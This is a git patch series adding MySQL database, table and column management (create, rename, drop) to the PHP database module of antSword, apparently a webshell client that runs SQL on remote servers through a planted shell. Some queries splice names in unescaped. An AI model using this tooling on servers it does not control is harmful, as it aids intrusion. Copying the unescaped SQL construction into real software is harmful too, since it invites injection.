From aec179d33a040740bb8c3b34cbb22bf451b4e9c4 Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Sep 2018 01:05:43 +0800 Subject: [PATCH 01/21] =?UTF-8?q?php::mysql&mysqli=20=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E5=BA=93=E6=93=8D=E4=BD=9C=E5=A2=9E=E5=BC=BA=20*=20=E6=95=B0?= =?UTF-8?q?=E6=8D=AE=E5=BA=93=E6=96=B0=E5=A2=9E=E3=80=81=E4=BF=AE=E6=94=B9?= =?UTF-8?q?=E3=80=81=E5=88=A0=E9=99=A4=20*=20=E8=A1=A8=E6=96=B0=E5=A2=9E?= =?UTF-8?q?=E3=80=81=E6=94=B9=E5=90=8D=E3=80=81=E5=88=A0=E9=99=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/modules/database/php/index.js | 571 ++++++++++++++++++++++++++- 1 file changed, 550 insertions(+), 21 deletions(-) diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index fbba7b23..9c156f40 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -77,29 +77,139 @@ class PHP { }); // 5. tree右键::功能菜单 this.tree.attachEvent('onRightClick', (id, event) => { - if (!id.startsWith('conn::')) { return }; this.tree.selectItem(id); - this.tree.callEvent('onClick', [id]); - bmenu([ - { - text: LANG['list']['menu']['add'], - icon: 'fa fa-plus-circle', - action: this.addConf.bind(this) - }, { - divider: true - }, { - text: LANG['list']['menu']['edit'], - icon: 'fa fa-edit', - action: this.editConf.bind(this) - }, { - divider: true - }, { - text: LANG['list']['menu']['del'], - icon: 'fa fa-remove', - action: this.delConf.bind(this) - } - ], event); + const arr = id.split('::'); + if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; + switch(arr[0]) { + case 'conn': + this.tree.callEvent('onClick', [id]); + bmenu([ + { + text: "新建数据库", + icon: 'fa fa-plus-circle', + action: this.addDatabase.bind(this) + }, + { + text: LANG['list']['menu']['add'], + icon: 'fa fa-plus-circle', + action: this.addConf.bind(this) + }, { + divider: true + }, { + text: LANG['list']['menu']['edit'], + icon: 'fa fa-edit', + action: this.editConf.bind(this) + }, { + divider: true + }, { + text: LANG['list']['menu']['del'], + icon: 'fa fa-remove', + action: this.delConf.bind(this) + } + ], event); + break; + case 'database': + this.tree.callEvent('onClick', [id]); + bmenu([ + { + text: "新建表", + icon: 'fa fa-plus-circle', + action: this.addTable.bind(this) + }, + { + text: "新建数据库", + icon: 'fa fa-plus-circle', + action: this.addDatabase.bind(this) + }, { + divider: true + }, { + text: "编辑数据库", + icon: 'fa fa-edit', + action: this.editDatabase.bind(this) + }, { + divider: true + }, { + text: "删除数据库", + icon: 'fa fa-remove', + action: this.delDatabase.bind(this) + } + ], event); + break; + case 'table': + this.tree.callEvent('onClick', [id]); + bmenu([ + { + text: "新建表", + icon: 'fa fa-plus-circle', + action: this.addTable.bind(this) + }, { + divider: true + }, { + text: "编辑表名", + icon: 'fa fa-edit', + action: this.editTable.bind(this) + }, { + divider: true + }, { + text: "删除表", + icon: 'fa fa-remove', + action: this.delTable.bind(this) + } + ], event); + break; + } + // if (id.startsWith('conn::')) { + // this.tree.callEvent('onClick', [id]); + // bmenu([ + // { + // text: LANG['list']['menu']['add'], + // icon: 'fa fa-plus-circle', + // action: this.addConf.bind(this) + // }, { + // divider: true + // }, { + // text: LANG['list']['menu']['edit'], + // icon: 'fa fa-edit', + // action: this.editConf.bind(this) + // }, { + // divider: true + // }, { + // text: LANG['list']['menu']['del'], + // icon: 'fa fa-remove', + // action: this.delConf.bind(this) + // } + // ], event); + // }; }); + + // mysql character set mapping + this.mysqlcsMapping = { + 'default': ['default'], + 'utf8': [ + "utf8_general_ci","utf8_bin","utf8_unicode_ci","utf8_icelandic_ci","utf8_latvian_ci","utf8_romanian_ci","utf8_slovenian_ci","utf8_polish_ci","utf8_estonian_ci","utf8_spanish_ci","utf8_swedish_ci","utf8_turkish_ci","utf8_czech_ci","utf8_danish_ci","utf8_lithuanian_ci","utf8_slovak_ci","utf8_spanish2_ci","utf8_roman_ci","utf8_persian_ci","utf8_esperanto_ci","utf8_hungarian_ci","utf8_sinhala_ci","utf8_general_mysql500_ci", + ], + 'big5': [ "big5_chinese_ci","big5_bin"], + 'dec8': [ "dec8_swedish_ci","dec8_bin"], + 'cp850': [ "cp850_general_ci","cp850_bin"], + 'hp8': [ "hp8_general_ci","hp8_bin"], + 'koi8r': [ "koi8_general_ci","koi8_bin"], + 'latin1':[ + "latin1_german1_ci","latin1_swedish_ci","latin1_danish_ci","latin1_german2_ci","latin1_bin","latin1_general_ci","latin1_general_cs","latin1_spanish_ci" + ], + 'latin2':[ + "latin2_czech_cs","latin2_general_ci","latin2_hungarian_ci","latin2_croatian_ci","latin2_bin", + ], + 'ascii':[ "ascii_general_ci","ascii_bin" ], + 'euckr':[ "euckr_korean_ci","euckr_bin" ], + 'gb2312':[ "gb2312_chinese_ci","gb2312_bin"], + 'gbk':[ "gbk_chinese_ci","gbk_bin"], + 'utf8mb4': [ + "utf8mb4_general_ci","utf8mb4_bin","utf8mb4_unicode_ci","utf8mb4_icelandic_ci","utf8mb4_latvian_ci","utf8mb4_romanian_ci","utf8mb4_slovenian_ci","utf8mb4_polish_ci","utf8mb4_estonian_ci","utf8mb4_spanish_ci","utf8mb4_swedish_ci","utf8mb4_turkish_ci","utf8mb4_czech_ci","utf8mb4_danish_ci","utf8mb4_lithuanian_ci","utf8mb4_slovak_ci","utf8mb4_spanish2_ci","utf8mb4_roman_ci","utf8mb4_persian_ci","utf8mb4_esperanto_ci","utf8mb4_hungarian_ci","utf8mb4_sinhala_ci", + ], + 'utf16': [ + "utf16_general_ci","utf16_bin","utf16_unicode_ci","utf16_icelandic_ci","utf16_latvian_ci","utf16_romanian_ci","utf16_slovenian_ci","utf16_polish_ci","utf16_estonian_ci","utf16_spanish_ci","utf16_swedish_ci","utf16_turkish_ci","utf16_czech_ci","utf16_danish_ci","utf16_lithuanian_ci","utf16_slovak_ci","utf16_spanish2_ci","utf16_roman_ci","utf16_persian_ci","utf16_esperanto_ci","utf16_hungarian_ci","utf16_sinhala_ci", + ], + }; } // 加载配置列表 @@ -418,6 +528,375 @@ class PHP { }); } + // 新增数据库 + addDatabase() { + const id = this.tree.getSelected().split('::')[1].split(":")[0]; + // // 获取配置 + // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { + // _id: this.manager.opt['_id'], + // id: id + // }); + const hash = (+new Date * Math.random()).toString(16).substr(2, 8); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + // 创建窗口 + const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); + win.setText("新建数据库"); + win.centerOnScreen(); + win.button('minmax').hide(); + win.setModal(true); + win.denyResize(); + // form + const form = win.attachForm([ + { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, + { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ + { type: 'input', label: "名称", name: 'dbname', value: "", required: true, validate:"ValidAplhaNumeric",}, + { type: 'combo', label: '字符集', readonly:true, name: 'characterset', options: (() => { + let ret = []; + Object.keys(this.mysqlcsMapping).map((_) => { + ret.push({ + text: _, + value: _, + }); + }) + return ret; + })() }, + { type: 'combo', label: '字符集排序', readonly:true, name: 'charactercollation', options: ((c)=>{ + let ret = []; + this.mysqlcsMapping[c].map((_)=>{ + ret.push({ + text: _, + value: _, + }); + }); + return ret; + })("default")}, + { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ + { type:"button" , name:"createbtn", value: ` 创建`}, + {type: 'newcolumn', offset:20}, + { type:"button" , name:"canclebtn", value: ` 取消`}, + ]} + ]} + ], true); + form.enableLiveValidation(true); + // combo 联动 + form.attachEvent("onChange",(_, id)=>{ + if (_ == "characterset") { + let collcombo = form.getCombo("charactercollation"); + collcombo.clearAll(); + collcombo.setComboValue(null); + let ret = []; + this.mysqlcsMapping[id].map((_)=>{ + ret.push({ + text: _, + value: _, + }); + }); + collcombo.addOption(ret); + collcombo.selectOption(0); + } + }); + + form.attachEvent("onButtonClick", (btnid)=>{ + switch(btnid){ + case "createbtn": + if(form.validate()==false){break;} + let formvals = form.getValues(); + let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`; + let sql = `CREATE DATABASE IF NOT EXISTS ${formvals['dbname']} ${charset};` + this.execSQLAsync(sql, (res, err)=>{ + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let data = res['text']; + let arr = data.split('\n'); + if (arr.length < 2) { + return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); + }; + if(arr[1].indexOf("VHJ1ZQ==")!= -1){ + // 操作成功 + toastr.success("创建数据库成功" ,LANG_T['success']); + win.close(); + // refresh + this.getDatabases(id); + return + } + toastr.error("创建数据库失败", LANG_T['error']); + return + }); + // 创建 + break + case "canclebtn": + win.close(); + break; + } + }); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + } + + editDatabase() { + // 获取配置 + const id = this.tree.getSelected().split('::')[1].split(":")[0]; + let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); + const hash = (+new Date * Math.random()).toString(16).substr(2, 8); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `SELECT SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME FROM \`information_schema\`.\`SCHEMATA\` where \`SCHEMA_NAME\`="${dbname}";` + this.execSQLAsync(sql, (res, err)=>{ + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + dbname = result.datas[0][0] + let characterset = result.datas[0][1] || "default" + let collation = result.datas[0][2] || "default" + // 创建窗口 + const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); + win.setText("修改数据库"); + win.centerOnScreen(); + win.button('minmax').hide(); + win.setModal(true); + win.denyResize(); + // form + const form = win.attachForm([ + { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, + { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ + { type: 'input', label: "名称", name: 'dbname', readonly: true, value: dbname, required: true, validate:"ValidAplhaNumeric",}, + { type: 'combo', label: '字符集', readonly:true, name: 'characterset', options: (() => { + let ret = []; + Object.keys(this.mysqlcsMapping).map((_) => { + ret.push({ + text: _, + value: _, + }); + }) + return ret; + })() }, + { type: 'combo', label: '字符集排序', readonly:true, name: 'charactercollation', options: ((c)=>{ + let ret = []; + this.mysqlcsMapping[c].map((_)=>{ + ret.push({ + text: _, + value: _, + }); + }); + return ret; + })("default")}, + { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ + { type:"button" , name:"updatebtn", value: ` 修改`}, + {type: 'newcolumn', offset:20}, + { type:"button" , name:"canclebtn", value: ` 取消`}, + ]} + ]} + ], true); + form.enableLiveValidation(true); + // combo 联动 + form.attachEvent("onChange",(_, id)=>{ + if (_ == "characterset") { + let collcombo = form.getCombo("charactercollation"); + collcombo.clearAll(); + collcombo.setComboValue(null); + let ret = []; + this.mysqlcsMapping[id].map((_)=>{ + ret.push({ + text: _, + value: _, + }); + }); + collcombo.addOption(ret); + collcombo.selectOption(0); + } + }); + + let cscombo = form.getCombo("characterset"); + cscombo.selectOption(Object.keys(this.mysqlcsMapping).indexOf(characterset)); + let collcombo = form.getCombo("charactercollation"); + collcombo.selectOption(this.mysqlcsMapping[characterset].indexOf(collation)); + + form.attachEvent("onButtonClick", (btnid)=>{ + switch(btnid){ + case "updatebtn": + if(form.validate()==false){break;} + let formvals = form.getValues(); + let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`; + let sql = `ALTER DATABASE ${dbname} ${charset};` + this.execSQLAsync(sql, (res, err)=>{ + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let data = res['text']; + let arr = data.split('\n'); + if (arr.length < 2) { + return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); + }; + if(arr[1].indexOf("VHJ1ZQ==")!= -1){ + // 操作成功 + toastr.success("修改数据库成功" ,LANG_T['success']); + win.close(); + // refresh + this.getDatabases(id); + return + } + toastr.error("修改数据库失败", LANG_T['error']); + return + }); + // 修改 + break + case "canclebtn": + win.close(); + break; + } + }); + }); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + } + + delDatabase() { + // 获取配置 + const id = this.tree.getSelected().split('::')[1].split(":")[0]; + let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); + layer.confirm(`确定要删除数据库 ${dbname} 吗?`, { + icon: 2, shift: 6, + title: "警告" + }, (_) => { + layer.close(_); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `drop database ${dbname};` + this.execSQLAsync(sql, (res, err) => { + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + if(result.datas[0][0]=='True'){ + toastr.success("删除数据库成功",LANG_T['success']); + this.getDatabases(id); + }else{ + toastr.error("删除数据库失败",LANG_T['error']); + } + }); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + }); + } + + // 新增表 + addTable() { + // 获取配置 + const id = this.tree.getSelected().split('::')[1].split(":")[0]; + let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); + const hash = (+new Date * Math.random()).toString(16).substr(2, 8); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` ( + \`id\` INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, + \`title\` VARCHAR(100) NOT NULL, +);`; + this.manager.query.editor.session.setValue(sql); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + } + + editTable() { + // 获取配置 + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + // const hash = (+new Date * Math.random()).toString(16).substr(2, 8); + layer.prompt({ + value: tablename, + title: ` 输入新表名` + },(value, i, e) => { + if(!value.match(/^[a-zA-Z0-9_]+$/)){ + toastr.error("表名不能带有特殊符号", LANG_T['error']); + return + } + layer.close(i); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `RENAME TABLE \`${dbname}\`.\`${tablename}\` TO \`${dbname}\`.\`${value}\`;`; + this.execSQLAsync(sql, (res, err) => { + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + if(result.datas[0][0]=='True'){ + toastr.success("修改表名成功",LANG_T['success']); + this.getTables(id,dbname); + }else{ + toastr.error("修改表名失败",LANG_T['error']); + } + }); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + }); + + } + + delTable() { + // 获取配置 + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + layer.confirm(`确定要删除表 ${tablename} 吗?`, { + icon: 2, shift: 6, + title: "警告" + }, (_) => { + layer.close(_); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `DROP TABLE \`${dbname}\`.\`${tablename}\`;`; + this.execSQLAsync(sql, (res, err) => { + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + if(result.datas[0][0]=='True'){ + toastr.success("删除表成功",LANG_T['success']); + this.getTables(id,dbname); + }else{ + toastr.error("删除表失败",LANG_T['error']); + } + }); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + }); + } + // 获取数据库列表 getDatabases(id) { this.manager.list.layout.progressOn(); @@ -549,6 +1028,24 @@ class PHP { }); } + // 执行SQL + execSQLAsync(sql, callback) { + this.core.request( + this.core[`database_${this.dbconf['type']}`].query({ + host: this.dbconf['host'], + user: this.dbconf['user'], + passwd: this.dbconf['passwd'], + db: this.dbconf['database'], + sql: sql, + encode: this.dbconf['encode'] || 'utf8' + }) + ).then((res) => { + callback(res, null); + }).catch((err) => { + callback(null, err); + }); + } + // 执行SQL execSQL(sql) { this.manager.query.layout.progressOn(); @@ -573,6 +1070,38 @@ class PHP { }); } + parseResult(data) { + // 1.分割数组 + const arr = data.split('\n'); + // 2.判断数据 + if (arr.length < 2) { + return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); + }; + // 3.行头 + let header_arr = arr[0].split('\t|\t'); + if (header_arr.length === 1) { + return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); + }; + if (header_arr[header_arr.length - 1] === '\r') { + header_arr.pop(); + }; + arr.shift(); + // 4.数据 + let data_arr = []; + arr.map((_) => { + let _data = _.split('\t|\t'); + for (let i = 0; i < _data.length; i ++) { + _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString()); + } + data_arr.push(_data); + }); + data_arr.pop(); + return { + headers: header_arr, + datas: data_arr + } + } + // 更新SQL执行结果 updateResult(data) { // 1.分割数组 From 60fc7ae518d6d2278046129c0238d639c067cccc Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Sep 2018 01:11:23 +0800 Subject: [PATCH 02/21] fix create table template --- source/modules/database/php/index.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 9c156f40..749d6a95 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -808,8 +808,9 @@ class PHP { case "mysqli": case "mysql": let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` ( - \`id\` INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, + \`id\` INT UNSIGNED AUTO_INCREMENT, \`title\` VARCHAR(100) NOT NULL, + PRIMARY KEY ( \`id\` ) );`; this.manager.query.editor.session.setValue(sql); break; From cb583a60ffde65758365b806102e74e1bf939874 Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Sep 2018 20:59:25 +0800 Subject: [PATCH 03/21] =?UTF-8?q?=E5=88=A0=E9=99=A4=E5=88=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/modules/database/php/index.js | 56 ++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 749d6a95..4c16f794 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -157,6 +157,16 @@ class PHP { } ], event); break; + case 'column': + this.tree.callEvent('onClick', [id]); + bmenu([ + { + text: "删除列", + icon: 'fa fa-remove', + action: this.delColumn.bind(this) + }, + ], event); + break; } // if (id.startsWith('conn::')) { // this.tree.callEvent('onClick', [id]); @@ -898,6 +908,52 @@ class PHP { }); } + addColumn() { + // 获取配置 + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); + + } + + delColumn() { + // 获取配置 + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); + layer.confirm(`确定要删除列 ${columnname} 吗?`, { + icon: 2, shift: 6, + title: "警告" + }, (_) => { + layer.close(_); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` DROP ${columnname};`; + this.execSQLAsync(sql, (res, err) => { + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + if(result.datas[0][0]=='True'){ + toastr.success("删除列成功",LANG_T['success']); + this.getColumns(id,dbname, tablename); + }else{ + toastr.error("删除列失败",LANG_T['error']); + } + }); + break; + default: + toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); + break; + } + }); + } // 获取数据库列表 getDatabases(id) { this.manager.list.layout.progressOn(); From 2f3f60acee8c5ce4f44d908508dc64d0d86de87f Mon Sep 17 00:00:00 2001 From: Medicean Date: Wed, 5 Sep 2018 12:57:16 +0800 Subject: [PATCH 04/21] =?UTF-8?q?=E6=96=B0=E5=BB=BA=E8=A1=A8=E5=8A=9F?= =?UTF-8?q?=E8=83=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/modules/database/index.js | 2 +- source/modules/database/php/index.js | 194 ++++++++++++++++++++++++++- 2 files changed, 188 insertions(+), 8 deletions(-) diff --git a/source/modules/database/index.js b/source/modules/database/index.js index 91e23554..da137a5f 100644 --- a/source/modules/database/index.js +++ b/source/modules/database/index.js @@ -1,7 +1,7 @@ // // 数据库管理模块 // - +// TODO: 数据管理模块目前的代码存在大量冗余,后期会考虑将 数据库驱动 与 core 分成两个块来做 // import React from 'react'; // import ReactDOM from 'react-dom'; // import AceEditor from 'react-ace'; diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 4c16f794..d6cfbee3 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -161,6 +161,10 @@ class PHP { this.tree.callEvent('onClick', [id]); bmenu([ { + text: "编辑列", + icon: 'fa fa-edit', + action: this.editColumn.bind(this) + }, { text: "删除列", icon: 'fa fa-remove', action: this.delColumn.bind(this) @@ -817,12 +821,176 @@ class PHP { switch(this.dbconf['type']){ case "mysqli": case "mysql": - let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` ( - \`id\` INT UNSIGNED AUTO_INCREMENT, - \`title\` VARCHAR(100) NOT NULL, - PRIMARY KEY ( \`id\` ) -);`; - this.manager.query.editor.session.setValue(sql); +// let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` ( +// \`id\` INT UNSIGNED AUTO_INCREMENT, +// \`title\` VARCHAR(100) NOT NULL, +// PRIMARY KEY ( \`id\` ) +// );`; +// this.manager.query.editor.session.setValue(sql); + const win = this.manager.win.createWindow(hash, 0, 0, 600, 400); + win.setText("新建表"); + win.centerOnScreen(); + win.button('minmax').hide(); + win.setModal(true); + win.denyResize(); + const toolbar = win.attachToolbar(); + toolbar.loadStruct([{ + id: 'add', + type: 'button', + icon: 'plus-circle', + text: '新增字段' + }, { + type: 'separator' + }, { + id: 'delete', + type: 'button', + icon: 'remove', + text: "删除字段" + },{ + id: 'save', + type: 'button', + icon: 'save', + text: "保存" + }]); + dhtmlxValidation.hasOwnProperty("isValidPositiveInteger") ? "" : dhtmlxValidation.isValidPositiveInteger = (a) => { return !!a.toString().match(/(^\d+$)/);} + + const grid=win.attachGrid(); + grid.clearAll(); + grid.setHeader("Name,Type,Length,Not Null,Key,Auto Increment"); + grid.setInitWidths('*,100,80,80,50,130'); + grid.setColTypes("ed,coro,edn,acheck,acheck,acheck"); + grid.setColValidators(["ValidAplhaNumeric","NotEmpty","ValidPositiveInteger","ValidBoolean","ValidBoolean","ValidBoolean"]); + grid.setEditable(true); + + const combobox = grid.getCombo(1); + combobox.put("tinyint","tinyint"); + combobox.put("int","int"); + combobox.put("integer","integer"); + combobox.put("varchar","varchar"); + combobox.put("double","double"); + combobox.put("float","float"); + + grid.enableEditEvents(false,true,true); + grid.enableEditTabOnly(true); + grid.init(); + grid.clearAll(); + + grid.attachEvent("onCheck", (rId,cInd,state) => { + if(state == true){ + switch(cInd){ + case 4: + let c3 = grid.cells(rId, 3); + c3.setChecked(true); + break; + } + } + }); + + // grid.attachEvent("onValidationError", (rid,index,value,rule)=>{ + // // toolbar.disableItem('save'); + // let idx = grid.getRowIndex(rid); + // // grid.editStop(); + // grid.selectCell(idx, index); + // grid.editCell(); + // return true; + // }); + + toolbar.attachEvent('onClick',(tbid)=>{ + switch(tbid){ + case "add": + let ncid = (+new Date * Math.random()).toString(16).substr(2, 8); + grid.addRow(ncid, ",,0,0,0,0"); + let idx = grid.getRowIndex(ncid); + grid.selectCell(idx, 0); + grid.editCell(); + break; + case "delete": + var ncids = grid.getSelectedId(); + if(!ncids){ + toastr.warning("请先选中要删除的行", LANG_T['warning']); + return + } + let _ncids = ncids.split(","); + _ncids.map(_=>{ + grid.deleteRow(_); + }); + break; + case "save": + let rids = grid.getAllRowIds(); + if(!rids){ + toastr.warning("行数为空", LANG_T['warning']); + return + } + + let _rids = rids.split(","); + let bdstr = ""; + let pkstr = ""; + for(var i=0; i< _rids.length;i++){ + let cvalarr = []; + for(var j=0; j<6;j++){ + if(grid.validateCell(_rids[i], j) == false){ + toastr.error(`数据格式校验失败(${i+1}行,${j+1}列)`,LANG_T['error']); + grid.selectCell(_rids[i], j); + grid.editCell(); + return + } + var c = grid.cells(_rids[i], j); + cvalarr[j] = c.getValue(); + } + let lenstr = ""; + let auto_inc_str = ""; + switch(cvalarr[1]){ + case "varchar": + case "varbinary": + if(cvalarr[2] == "0"){ + lenstr = `(255)`; + }else{ + lenstr = `(${cvalarr[2]})`; + } + break; + case "int": + case "integer": + if(cvalarr[5] == "1"){ + auto_inc_str = "AUTO_INCREMENT"; + } + break; + default: + break; + } + let notnull = cvalarr[4] == "1" ? `NOT NULL` : (cvalarr[3] == "0" ? "": `NOT NULL`); + pkstr += cvalarr[4] == "0"? "": `\`${cvalarr[0]}\`,`; + bdstr += `\t\`${cvalarr[0]}\` ${cvalarr[1]}${lenstr} ${notnull} ${auto_inc_str},\n`; + } + layer.prompt({ + value: "", + title: ` 输入新表名` + },(value, i, e) => { + if(!value.match(/^[a-zA-Z0-9_]+$/)){ + toastr.error("表名不能带有特殊符号", LANG_T['error']); + return + } + layer.close(i); + let pkres = pkstr.length > 0 ? `\tPRIMARY KEY ( ${pkstr.substr(0, pkstr.length-1)} )` : ""; + let rsql = `CREATE TABLE IF NOT EXISTS \`${value}\` (\n${bdstr}\n${pkres}\n);`; + this.manager.query.editor.session.setValue(rsql); + this.execSQLAsync(rsql, (res, err) => { + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + if(result.datas[0][0]=='True'){ + toastr.success("新建表成功",LANG_T['success']); + this.getTables(id,dbname); + win.close(); + }else{ + toastr.error("新建表失败", LANG_T['error']); + } + }); + }); + break; + } + }); break; default: toastr.warning("该功能暂不支持该类型数据库", LANG_T['warning']); @@ -830,6 +998,7 @@ class PHP { } } + // 修改表名 editTable() { // 获取配置 const treeselect = this.tree.getSelected(); @@ -907,7 +1076,7 @@ class PHP { } }); } - + // TODO: 新增列 addColumn() { // 获取配置 const treeselect = this.tree.getSelected(); @@ -918,6 +1087,17 @@ class PHP { } + // TODO: 编辑列 + editColumn() { + // 获取配置 + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); + + } + delColumn() { // 获取配置 const treeselect = this.tree.getSelected(); From eb62a56fbc2b97aafaf3f7c5a2430724de133d06 Mon Sep 17 00:00:00 2001 From: Medicean Date: Wed, 5 Sep 2018 15:18:41 +0800 Subject: [PATCH 05/21] php mysql i18n --- source/language/en.js | 76 +++++++++++++++- source/language/zh.js | 76 +++++++++++++++- source/modules/database/php/index.js | 131 ++++++++++++++------------- 3 files changed, 218 insertions(+), 65 deletions(-) diff --git a/source/language/en.js b/source/language/en.js index 923d9fe8..b62344ff 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -362,7 +362,16 @@ module.exports = { menu: { add: 'Add conf', del: 'Del conf', - edit: 'Edit conf' + edit: 'Edit conf', + adddb: 'New Database', + editdb: 'Edit Database', + deldb: 'Del Database', + addtable: 'New Table', + edittable: 'Edit TableName', + deltable: 'Del Table', + addcolumn: 'New Column', + editcolumn: 'Edit Column', + delcolumn: 'Del Column', } }, query: { @@ -382,6 +391,7 @@ module.exports = { noresult: 'No query results!' } }, + notsupport: 'Not support the current database type', form: { title: 'Add conf', toolbar: { @@ -402,6 +412,70 @@ module.exports = { confirm: 'Determine delete this configuration?', success: 'Delete configuration success!', error: (err) => antSword.noxss(`Delete configuration failed!\n${err}`) + }, + adddb: { + title: 'New Database', + dbname: 'Name', + characterset: 'Character Set', + charactercollation: 'Collation', + createbtn: 'OK', + cancelbtn: 'Cancel', + success: 'Create database successfully', + error: 'Failed to create database', + }, + editdb: { + title: 'Database Properties', + dbname: 'Name(readonly)', + characterset: 'Character Set', + charactercollation: 'Collation', + updatebtn: 'OK', + cancelbtn: 'Cancel', + success: 'Edit database successfully', + error: 'Failed to edit database', + }, + deldb: { + title: 'Delete Database', 